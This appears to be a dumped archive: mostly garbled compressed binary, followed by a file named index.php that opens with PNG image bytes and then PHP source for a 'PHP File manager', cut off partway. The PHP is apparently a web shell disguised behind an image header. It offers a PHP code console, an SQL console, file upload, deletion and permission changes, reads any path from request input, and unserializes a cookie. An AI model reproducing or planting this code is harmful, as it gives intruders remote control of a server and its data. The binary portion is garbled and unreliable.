(k��J7�s{�5�K�7��9k�W��R�:����)�c���N��D��Ƒ�O��y�O�b�6��n~N/L�'�[϶|�$-���ԥ�m����tz�*!>�GR�B>L����H�X�µ��#GRG�r{V�{�Nk|6�o��w]{�L!u7��f5���'E�Isã}���b�;���ˑ+I�ۡ���E�@Ģ���R~觰����G;����X}1�K���f �_�ҹ�i�|m7.:Y?�+d��}��ݖN��V=:�o�(�5��5�`q�{�p���	f�HД�<�J(U���/1�C�.��������.�I6���xsu��,�"��N�ê2d2���|��[9��d�GXAj�(�DV����))�0p1�y�%�cr��|�,48!2���n�Aj�z�(>Y�3�rZں�;����)�
^P�������N!��y@���eS`�3�@,�C0C�~H�)i����{��Dw�+[�l���|�,h�y����b7{�ي�&{u�Ä��7��s��.nT�����&[W�r���>���Ύm>[�,$&���Ϡ,�Xv��R�g11<���AP�gb�b:���aO^FPT^:&p�wsK��C���!�3��Ts��M΂���Gcb:�#/'1Q1Y�ً��_I�FI�61���m)���1;'3��_�7�@��Y�B�G�����
ONMH�k���|Jӓ�3=d�Zx�JF�B���^�85���Z$wE#;�R B���q`�O����3e��>
�����f�3@�K���4��8���x�,�X.>� �O��mY��XE�7��XЦ��;H]�7N�LUoa���c,= /d-ʞ_F�)v�l����O��|n�ˤ��2}�3�h��$G�
	a�=����4�S�>���{�(o�Ԓo8L�/�ܷ*@�&�x�d3e��h��5��.�*�&L�Wd���1��mb�.N	�Ah�෶�D�Z�4�^����d#�0t{&������光D��g([��ܴ+���#�;�z2<��_``�3X�l��9G�Y��l�1����V3�e�h�9V�X�=�Y���,�1��B�$���7V�+�5�Ċh�=��id�s?�^AY��ʹnU�'��MnB4��OLK�r��:Qw?����!��,�aOހ�d0��)[��4��>x��Jώ�մI"M��W'7�O-����+��Ss0�W�g���O6rh@�\cV�t��C.���YXQ)dZ���:oF�Z�v���]��h��8:~h���������,I=��P	S��kW�اN2Y2�F��1#f ����'�.b�1���̹7Ď=7�7����An���͂#�s�>-���b�8��<��e�л�q�>\�����������3��)8�U�$.���ӂ���^]���Hh@���*��n�¤e�����ujB�}m�y�e�B�;u���iY�����n:7�-��:�+�O�oL0��I_�}6;��V%�(�)���M�R�^E�V�S~;�蓳��r�;��VM��ib��Kq��d�‚n~��}�(/���P��&���g7����*i�<�+#��q*ѭZG�	l���
�6��fr��d�G3}G6�Ϡ����'q4�3=�[A�U�n���Q�(�~�;���z��`�
��x����l��p�Ǎϊ,$���S�F����f$�ɳ�;*x̫��G��s`��@�c
�8G�Hn
�CW��;���X��F� ,.�-�9�H�4��K��^���t`.F���'�lG�]�,P����U�H�CL�^h����J�7�Ȩ*�g���,'�0�eYRLc�O#,dYF���>_�y9h�1j�ǽ�6~��w�q&�
�1�"�$O�k�nPzV�tC�egA8��+sW�ݍ�iM�(H'C���dX#1���3;	\㧄��X����+1�2��%>YW_�EiC��AMQ�����1#ڇe�{wGߖ��k�T���JQj�v�uO��i�p�-��;��
]4�<�ʁ2S�y^V��(C��YR��/LwXʇ[�.F�ެ���O�	X��ꆙo���2�Ez��J
W9��a�3�[;F]�{��$F�k�o�n�Ve��=��ٲ��ɣ�Ktq��%u��Pߊ�O�=)>�PBtL����X��z�|�N�۶�-pbd�b�U���y�Mm�I�q���i��{�����N�#���S�i$$��ȵ�a�	�>LTy���^vZ�N�M_�2��@��@��B�߱S��"��ܦ��\~^�:	�7�I�
KI�d'��Am`[�N��T//����db��1&p����N=��z��0K4�2.V��)�ue�����e��0ˑ;�+���������1~��p��0OVs#e;]&�A�z��6D�RN^1@&��/��ܞk7N�j�����F"Ԛ�٩hd3��f��]cY��u��w���CF��w"���,��J�ٝ�
�����b�c�h�r[2�}�٥DV���^{�~���R��#{`;-]`T��!�Ji.���u� �FJKHn�l*ׇY��u�6Z|_�I|��b��^��?�R�����!����f3��*h��/�6��&�KHT6]��\9� ���ޝ�rq�.m6&�1�t׆��LD�;쉩�[|f�2n�0��j�=rm�)0s��	�ߏ����c��:�.bN�����e�
>zA�i�-~H&�0�B�Oc ��G��1����B�Ps���Gw�|����3a��ڹ�|�Y�p���2<ؔn���6�|e2��ZMM����ѭ.T�nj�\�FpZ�*Xa�U�T�X���r �|�6�+7�����E*����6];Tc�cd��Kp��>�1q�8z����R1�qݎ���S�UHDd2f���,�LpEQ��Y�6<�]�<��<���!�%�(1�Vo6��l��D��B;Ÿ��(:��2I��W��ʕ���ɉ�Rvn]AFІ�=�����O���K�q:ߝ��bd�9��,�r��ER���+���)�b��r�aB���X�j�'{�ʁ�C4t"�&ҙ�P�@M��.��H��E\S"[�b��Zg���8E����I�ME�7�wBV�X�$�	�>��sa)�=��O JG�Wp����������-���A���|6��ӡ޷I4�w8�S$N�p�8���:7�O /���]����n\]uW��;
�s��e2�*��0%��=v	�5в�t_��VG5u�
1������-��x�:�&"'�g���l����y�g�֢��6�n2�T�40��-iۈp��弸/r��D�ɬ8I�XBnS�Ϥ��ˣ�����TD:�Ti���Qxysk!N/˟�R���:8�&	����y������'Q@
��ڇ�hMS����uw���p�H�P�pԡ��Ff\�=g�,"�F�|���\0Y"
�"
*�кG���\N��x"XŜ�c��d�����"i��	h���
��F��R&��y��61�.,UO
�|!Z$����*S3�g��	�K�+�o߿�&�	�K��]��r�@�|X#��9l'b����W�k�>���[E�N�:tM�eQm1!g=���JK�\�Ԓe�P�*�8<��װ���9�fE!av�i�”W�1U3kJ߀�֎���u�-=Q� 
�֓�˕N�x(�0WV$�
���!�����薊��"^�~"L)"z�d�l�T�)@�`BN/�Pj��nl��_I��D�~����9ц�
Y�K�E��P`O�+�q-�4$ �l{�/olS��p�/a��03$7�
b�18�bh��Ů���L6T�� ��հ�"x��i"��_o*��]�T�0'�6<
�1	/�� cB�p{�H'#C�G����z�O���z�mFkW�l�lx{�����,�*8hݣ<f
�D�&�<uN�
YӞ���x���P��z�W� [�k�����Y������{��a�ە�񼽏��e���Q����G�b*��}�}�G�ڻ�
�
��vՎ2����a�b����t�ǔ�B���z��˶l�CtݔEJ�FѭQ�O^����:���\i;� F�]\@S�&�CV2��LLi!�o���hJ�'3z��C�Ȕj4��ԔBN�����O���[a�'{�KT�^3����6�w:�}h�G�9�7'}���RY{�g��M���A�Gr���=�zy�R�V�S�9��Q���D}a��;��;�aK!�?�5~ՖEZ�E*�I�Na�%��k�'�喳�Ș�A$]H��
� /�1O�H?�o�����x�C�!_��l5EW�;��|!�E��N�:�$�l����Պ��;�O�	���T�:�Ũ�q	�V��B��<}&��7��k�_�M�����nb����ūi�Q��g�
�{��������ɜW,GAt���*bs3��Lw�*��O>yf>)���J8��@��VROhU�
R���z?�:��Q�V��_� ��N��Y�:H(k�D�@9�B4��3s��v�����#ok�f| Y��}_�¸.�F�V�X��"�ZM��v�2�R��B�]�-%�(Ÿ�;�5���3��t�	;^����R�n���0""��6LJ�^�מO�A�x�n����q�ZM����ui����u�vk�'�~ś�	�L�w�-�>`1y#�|G���\�k��W���̡��[˶�E9X�;{��J��DȫH��h{12k�W�Bّ�
zsRSWo��a�)��7D�N��L��-�
Ë�Ja|xmZX5��H��1� �2��g�"&36��N�2����*���f�� �4׈�Er��/%��!�[ppS�p�oQ�6/x�����?\�S��`���l���#��{���H���<�^�i����ɒ|C�&PJ�	�#H�G��BHG���[f�h�b�g�m������k9��SI�5=�Z�b��L���uE#E��ۑБ;B({(B�p�>�`�h5�—��s�������p�q��$f�NHu7%ck^r{w�i��9Iw�k���[`�lqFY��гϺ-
�dPC/b$?��EDhK�d�d�l���`��̧�˥�i��u+��^b퇰Q�+��@�;$y�q�^�vBt菲�Ahqw��[N�;���α��A��;��eFs�gȉְ#�C�j�ka��K8+Yy�qm�\UV�Yt�U�ߐ+,8��'Ϡ�����-�ij�r)Z���V�鑷�MH.*���tO���θu�۟(�B-��F:5�]Q1�瘎�4��k�Qw�u�ۏ���>�b�lH���p5���r�,s������p5�h���(��>q5��6���K#�� X��C6����=�4=��O�(�O
���zs4�����KKr!�?�}>f1��j��o�qKyr�mB���r��\��y��1�ON�u
�}’3����7�	����͠eb���p�{)�s��;�����
��N�U��(���c�et>$
7h	HF�<�ѴGu� ��=W�^5r���աu���\�R��4����r���Ў��ң"��#�)	`������b��CA��[-�n��w鞫�ͅW`�/
~��r�@G��O��Y�K8�Z�N�ז%�AQ������(�����>i@��n!ݮ"
8W����~^�D����#�_����0�b{�,������ƴ㇊�o��zi��7>���㕐O��
��>��"?�v�'Ě�CD*�[����SV~zQ�ݰ;,�vw��ȕ��A���X"*���O�\�:d��d�MqN���|�9�RlwA�& v;_�ZѢ�ɀ�ϡχV!0��ݦ��G��x�"AU=0�:(�Y�(�7hL����7���H��-��M��5�b�6��o�
i��=eE�ВI@	}Ѩ��&͡���ގ�wy�)+���͢zOuEo�8��ѫ8��i</t���t�\$��Հ{�M���RЂ��2��A�'L`7ځ���F%c�/�*3�R�x'+Q�WaU�Lw�bN���ӵ�k�G��.�ʰ���u/����a�B�+6%�"�A[>�/���ܩd��e��_%�}`�	#t�,�ɖ��b���µ�(��|�>RMW�1��:�jj��	�"�O�+�(�㧑�/��[u�&���Z�8��_��L�9U�_�ލ6��;p�
���#�aW�bGjZz��.�Ϝ�ޞn�/x���s�'0J��{w�m�I�XD*�>�^d1��}���8=r�\%�_�Ř#&���K$�|��#�%Y�W481'���32	s�о��l��ϰ*vTmDQ�S��Hy2��3��/bB�ɰ�&�o���
^0O�_&�`	
4./l~Z��̀wX[�>dp
�5L��J�J\�Ne�+g?�q�]e�9D2\Ks�|h��s��Ev�Z35C
ݕ�L�p���HWwA�@�i�k4./Ǫ���}x��8����?��h�ݑ��]e�%m	 Xk��:����J,g����w���\	)�T�M�f�vAx]=���R��0Brr��0�%I�$�]"��YC�tC��kOe����$0����k�8�]T�y�n�����u"�ڸ=�+{뉄�G���Y�ٮ�:35�{j�osn0�=y���)��QXT�J�jڛ�Ԋ}R�g� 1���H�����YǓ��LLM��BB\@I�NU��ںz�oSG��$� �{����"���ި��U�rj*kW.����nۊCsjK�-�ARc��bu�gB��&^��p�nVR:E����p��q�y_8#�A�g���QF�L���3�d�fN�+Xl(�V8B�/aYe"�ߡ`�	ZgwH��x��F�;oF;A\�Oݱ�O*�`�=!�v�9_Ռ]m��"o��C�tfP6��������Q�rWv�-��aѸ�t�t�
͹|H�[������x^�<�ۧa���~u3W��evhL�"ủC�����o
t��#������}�	L��
f��j�g�IxA��k�9>wG���
ڑE�e,��U8rQ���:|��x*@�p=� ^T�|�e7���
s��Rp����՞�ȴL��-�9�#��6d�1P�Kr�-�T^��ө�n�I��G��Bܛ��4τ�����ۄU>.��J^b6�٥,D�.Q&��O1|# OU4��M`ݿ�ǘ�S[�$?c�Ѹ��'�&��������8��jc%����tMeNh�b
ʹ�A����.�0�㉗��<�a�l6K	�Ӭ��RY���G�Z����(����o�թ��*�7e��g�Iq�#"�-��p��1>������<��9����V?�7��VNO����Z��Le�PM�h��w�T P;��M-t2�{���m����_+,��8�U摊��J;�<i:W����dy��Z����
�=7���-�6%�f�%����H)H��3�J�/MvRpF_�z��V�$x��uc�3�����}���-Aѭ�NJKd�f)y�QV�F­iښ���SOm�e�I�ۙ~�Od�\���
�rT<g�HH}L�D�9;Àm�m��δ�SC�55�x�M�ۛ�/� 
u�B�:��LFΡ�J&��Ⓐ�'�pP�b������������b��pp���ݔ��b�p��$ǴOsZ��!���X&x���k$"C7qL���˦�N=-K�z�<mk����������'ί�<�M'w�x3�H,WF�����8��H��US|�'�����LE(MUMuU��}d*Kb�|��V�:���\"���a�T	f)� ���[��-�;�޺{u��ڈ"/F�@�8�	Z��:�ӆ}ZH۞PA�1Ζ�ˣ�Bw����E���%cIK����Uȶ��7u'W��wE�g������_�9��ۃ@����Cx����0�>cc�Y���馓�ZTO�^^	���7m�k��j�7��!���0Q���>V�,�U��Kc�ϸ�[G|�w���SD$��K��Я���)B�h%�C�$5��Zr�z��F�^a|�f���J��!�S27�!�>����狀me<�|�_��Y|�R,e�!8�����W�Ŝ��(hތ{�?�>�5/F�f�;I�&m���r�W���<�%�g�e��cFp\���F[��5���ٓQ�ֲdT��`�z�/A�u�$'�Y\��w
;w7n��z��1���(�V�I:��+�M�9���/���
=����M�ŬWR �
3'��t{��a����<=�j| ��^A�XY�P���k
�5V�0�_>��!{�7��#��͡�!6M/��.���b�Xm��U�p��2�O+3<S��e�FE�f�*9%�:���GB�mD'CD D�,��D�@9W���ݘ�^��jy��`A�D�E.Ma\L��S�G8uԽk^k�=�pU��XXPg[�sE�-m���j�(�쵽����8��hi$����>|�e(�&On����&5ǧ�O.bm�O!�:J��Ѵ
&��U
\��^�������gjE�T,gB�
U+Ϯ���S��a�͠s���$�<K���	g�J_�ѿD�(���V���#�����g^a�LŠ��{��u5Ȧ�=���R��H�V�G��gݜ)�="�C�t�5L�����a�9��KV%��+֥15mN�wJ����u��Qm�C0�c�sK
���/+O��/�ý
6V���j�V늱�3C�^ ����`�`|�ܾ��Џ�<�K��L{R��d�o�I���6�ڊ-�16w��y���^VoN�����_0���z
�|�M�)a���M�⹡�9�^;h��w�LO�D��g^�s?z�����ݻB��N��ɾ&�[���b�O��ܿ�3�;U�HR���y��
6��@��q�c8���W��|�V� ��*.u^$4�.��8�7 ��~���X�;phKH�݌���R��o��+g�>K�5<}Q�ĩH��UN��t��i�$^�tu�R�/L
\n��i�W���>������>�.�S�1����R�Ð�Ɯ�
��N���E)|(���y:�&��0kS���Y��1�eo�⽙v��7ɠ�ǡ��s��A��񦣕����d�D��=��۫C���)�]��5ô�R8��½����	�Δ�~�ƔV�C[A2�9���ք{�a!~s�����X=��W���DN�,0���<K���֭䳧`�0:�Up68o�E٘�V"�n�����Ӳ\�����6�k��`s ��آ_+�M4��Ж<=�_MD
�H�s�,)�!��h���	-��f���]��g�^EB�=O \���+{E����l;���h6��%kPt '�M�v��<��M���$��(��k�aW�lG�/��廉��7��`E�1��͊]����ic
H�%���#�D�"��o02�)Y�C�[7�n� }��XPM�nc���7-�f��8��j#�fFn+Q��
	"�L0�hÅ�����ٍ�R,�<�Bw1!/��|�MB���(c�;ڗ�>�M^�"v�:q�m3��h��'2�U��4?�f|�%C�x�,h'��.l�H�j �WK�c��5�	�6���x�vJ���U`m32���Cz7�ϑ�P�ol4�LK7�J<H)�Fͬ�	���5�Mrs�?�F���lS{�ΐ���r:�B�]%1����*�/�U�$����Ⳑ�QF���	�-5���4^��j�!��ym^�M^��)^�t�c��&�Ӄ�W��"��/�M�N7��=nWCi�!�#�C?�FB��.�Q�0��s��z?�x�sךz��ò��<&D%x9�s.9Cs5�Ȕ=�g���:*������SV�;�b��,):MeB��j�#d�ֲ̯Td�5��2�v��i�HЈ���Uj��í������ꐊ���0L
n
��p��S~�ޑژ�Y3O)1OvS�H7l����Ĩ�P,��,��%����{��9�jt~]9�b�'(�(���c���[�t���R,�����$��&�Hn�+X�/^��/HI�
$��L/�%\
��R���d��vqu��U��Sz>�}b�nq
�kV�d�	��/��k$���P|�==_�􀻃Kdݬ�l�.������Fy�^%_�$�h���C�c�j���<��u��B2��h�?-�;�V��ԭ�ju֑Hy�]1�cO9l��(�*��|k��86���\��e�'L�B���c�jĕ����4
Z&��_2`q�]�-�>�d{q�)���ƃo�����/�J�J�v�񝉬�+O���'�t,wX�7���U3����TNo
6xz��,��"��Ĵ��l��&5i����bC,}I�
�Q��9������`�Y�}���ܤj��8�k:d1�)Ҍ-}�]��2��H82fgz�|I��PC�|[�?q�Y�0*j:��]�:YN��}!�
���!���l�_u	�PA�tW��(]��D�E�L�<�x��H��p�;�,�v�WQd��8�yΌ�_�F\>NX�a:�s��Q�}*����2�Jb�gxՐ�r�\��
��~W�K�t��:������Ba��|m��ag�x�80X��,�����D����O���~�A����Gm*�nl��V�_Qx(�8�N2"��P�z;ɂ|F��>(ˇ���d
'����*ݠA�a��Ƴ<���c|	QUiS]TȘ�W\�Z/p��ތ�"�e�Du�AtT�zB5��
B�����r�{���ֿcz�?��X��ڽT㣢��	�O�';�Y�hn���\�O 2�]rlG�g^߅��r)Q��7ǯѱL�������%H	�o��d#/b�\�υW+_g�g��ȉ	ѐ�	�C�1�q�F~ɟŁ��C�LC�*��Xo��2slTyl�R��O�Fn��{�HĶ�aZ|f�6�L�im,9�-��BL�2m�R�d�%T�sA��BϾA
�#w����OS{�QC8vƛ���w5|�M��&�*�Ϧ�|��O���g���"�h�&��8�:�صC��}0hd�������A"U��5Z��d	`CL�]�/,%=��v4�}�O��
	�e-��/��<��$��A��yWx�0���fD�T�)oJ,n�W��Xu�ɗ�w5�������\��KR�jZD�����?�HN�mj�z���-к�q˜!)H�����J	fN��eF��Y���"��R4ٝ����Ϋy�ɣI����u�{��Wjk
���r�~Q}�Ŏ�$@��	Uk���k`�'�
n�N�,4�D�)�o�pú�#� b
�gW��G,L���bV�Mx��h�����7o �)g,�OU��C��=q�~Q/���F��ۿ�'��3�vyC���z�&ns\.��2�w
��E8o�ڀ�P���l)t_�h�����W�۲8S�J~�m���ɲ���J�9��q70fJ��h�bCFN�;fۓ�0)MdD�����Uɜ��;�`#��1ރ)r:y�m�M�c[-�_l^,�^Fe�n��^0f]�s}h��7�3
��œ���(�޹w~��>���\M��hj�8�����+�M��j��9&5.kJ�b*�R��Y��g�!;�2�|u��HDCCl��מ�0��i1��-��J�,Jz"�	�DHq�jC
E��\�#K}�I�T{�H�>N���|P�X��_��v��є���M��ӷdj��5���6��߿u����k�fQ�/��qw{�k�)q�v5����H;�}�NV��hc��<�p�gGYsTǞ���W���	��&;C?'V�w��U�_�z�0+λ�}A$��Qv�)M
A˜3<o4����:�R~�
��2�#{^]�y�P�dsP$ݨ�E�w��K��N �8��f6a�6[�����&	~�W�Odl&P��z[�v�h-(iX�R��݋�\�8\�\�\r���9�*�wp�ׄ��*h}m4�옷�KrYf�
 @�}�O[�
��M���0�E����2�ĉ�Yo���e۳�ͥ�@�8��ݢ2z�V�'g���Q��O)������	!�c��MM-h�>=�*�ò�u(ϞG*�{�z�[����n��k���F���G��Ag�8����:�I��I#Ga��b�v�A!���7��r{/ �Y��>����-���v�& �I�ؿ�C)#c�Vf���)�񮅎�vr/T�m
"��l5͓�6�v��oO6[�L����2��R��P����j�S,w��M>%O����?�ym�,ù�m�&��|"\3�Z>xj�V�
�p��<y�xd+夁�����Ye��&Č�b�G� �'�<a�p����+��������̀���bѴK��4S�����Y�=[��N
N�ޥ��WZ���w7��<��;�
<�<��@�A���A�����`H�&Ίy!�&"�����
��%����)�����9���%�������J�M&0�O���L��ᇵ��!��������CC�#sS;]=�o��,�h~C6��Z@afd��[L��@tLt����,,,����t�Lx��/�����xt����#,�<�Aѐ�C���KJ��I���)Jk<�h�?X����Zj�h��)ZX�J[�}���kc��󍇆T)߯|H�����pN�sW�z��������i;��~o�gim��ka��kgmdn��U-k�0����[�z�z����Z�}sD<#�oB��-�l�7��}�B�vyC#��:|8���9��qF�z��Z�h~�g!��ҷKZ:uu��l�~������?����w�&�
�H@K)-3=<}<m3-k<kӖ�?)lcag���7�4���Y��h�?���@�t-�l��-l��,MTֲ���w�6�F��xz�F6�6�x���$�i9�i��O8���2�ų3�ճ6uz����l��,L[j;}�d�9xf�F�F:Z�F������C�_���E{-�t}8��������Z㛞\x�v��P�N��������������m�l�t��_<�г~��������g�g�g��B���-[-�2'��2��dhag�0#�[}k�wvv=[
@;R��J���?���<�[�(��`��bs[-#s���3է�1�xC<}S��0�����P�^�j�V��Qm"ÜĖ�{@~��s�Z�YZX�"T�[�ߚ=Ė�
�۟c�����!^���<0fhkki�N�m(����ӡv8�����
�?��z���$���_(4Բ�xh��S+�o@���Lm�OQ@�<\��~�����8x�H��C.�10
�Mz�,���?Д���G�)	%�����h3-[C������_������aabr@�<�K��ki8��(�2w��]�'������v�H�[j��{���?U���N�?rt-SS@N��?eQ<-km� F�c��c�����,�� c������.��U����6��Ŀ����ُ@X�n������ӱ�Ƶ��M�[n���忥M=ǟ�f��`��2��x��'.���cj�S�6�Ɂ$Z�E}�8@���?Sh>@�6$Ͼ6߆�;>"��C�?2�W�ga����s�	0 �|O.6~fgi�}8����v��т�!����Ӽ����/�Ư�=$�`����s�����0%@���>LA�9�$�[3��_�꯼��+��j�R�	ٙ�<<?4�/?5�����&};ӟ�f�zZ��=����?����9H�x~��=��g�æ��)�1��x<?k����#{�kA>��T�?�A���ȗ�\��;�Q��OJ�S��N~��?5�����Yo@m�J9/�~�8��3~h'ݟ�~'��`��jR��D�ِ�4>b�� �U)�~h�U�~�������% ?���B�����&�$�������������@�����7�'�������#�yg�g�.�,��� ����tI�!u�r���Wt��������ʯ�7(�z���H D =kkk
S��8T�c�z��CEOKτGG���Ȅ� /��'-"
����ъO�\WO��a�0Q6�>&k��>�i��#-
`����X-&\�zxL�,P���O����l����V}}=���gr+���k���
��
�a{0���}����?���Ϸ[^���<C=-݇��)`%���W��Ӻ��E	:zz�?�����X�3��RF*!=���x�L�L��t�a�A4�%o�q��=�8y,�s��k���FO��"��hEd�M�;Qz���������B#�e�e��m��
������-��[�����Ŭ����������������9`U�������J�VK���ZKG�����L���
��z���@g?b��Q9��<����?��Q�C4���b��q"xD�)h{����6w������G`���W��A4�#2���h�/�[�������Q���Q�C4��(��Dԏ�_&�7�c 균�=*��!���Q�jk��h�/�[����S������76���,���b�G��c4�é�&�B{T[{?F�7Q�9D1�Ӳ=�~�# ������B�(�bxD;=���o��C�bf�}D����q�X��e�X�u�h��S������="����y���w��?��(��Kԟ���@��%�O@�_ �_7}Q���Z:��dLv�ޔ7������ϯ|�j�m��cK�������#۟H�����4�b�W���1�Q�g���Q���ߘ7?����jJ�8�zL�7�͏��?��?����jJ�8����)�� �O@���!?N�,���L�eO�w���߁��6�_i����h�cl����A�"㷠�gE�_f�?�}G��d�@����e��< �;h��ED��ˣ!�OA��~Q�_���x��3����GDԟ���<"����`���'�=ڭ��8���)��A�&`��?k�����ǫ��a����X^��4�"2�&�B{,/_������"걼S�;h�/�﯂?����=�ߡ=�
��B�7Q��;<�~ڣZ����𨿉����뗿��2Q��Q?����Q���(Vv:Vv����������W���|���?���N�X��A�"�<D�;h1Q�Y)�/3�o��#����wd�;�����yD�>*�~����k�s�f>{��s������V|���o�����{,O ��GL�ڠ�����c����wd���#�<c�;hGd��\d�5�s�wd<N�~�c����LԿ�j�������Q��<T�;hQ����A�7Q��(iqP0  ��@@R��|��@0�s�A��c�ecC��M����-���������;n¨s@s;8 ���L`��ʟD�_w��P�xP�i���i�YXX�����h 뿽�=̍]�o�'�fP4��Px�x"�x|Ң�x��'�k���x�P��:��������������޷x�6v�?�x�A��:�����i�4P?�*`a��].��
 ����l
��ų�2����x�0k<-@���j�j4�v:�v������]����llbS���������C���R=�?ů��������3���R� �L��'e�
�l~B	��Ы@����)�����`�œ����/ȿ5�Y�O)����^�V��㜉��'��4�5��9O�T���P�A��Y��40Ӳ���@)��/}���o����oZ�
�X�A�N�z?�9�,t��G�`��O���R���402�h�M��T��" �?�{8��������Y��_z����?u�`ɟ��AGL�uG�E�sOr�l��?���g�mq��€�?����0ك���&`a��-��+��Z�Zf���w2���"�ď���D��B?K���w-�GX���|������4�~��;;��?W����������������O4p�ç~����\?��
�
��.����"-���O�
rڬ
F`�����u�ee���TdQx
�pP�J�@��Z��D�mg�Geka�g�m��ӊ�����+L\1�p��x���:����}ɛ�����'�x��p���<s����A`��k�%�A�0���-�_�����.*�sρp�_+�
�K�1a��N�d�_	�?��C�Dh4�\y8�~�{��d��g,��5�+W��@�Ug���Dϟ�Y��U\;�� ���E�S�߬�gzJ���~������@!~�C��6(�z�^8~�6� �L���ݢ�G	��o��88�ÿ��?%`@@�@��������\�?�jZ�
PKE�N\�N[����10.zipnu�[���PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
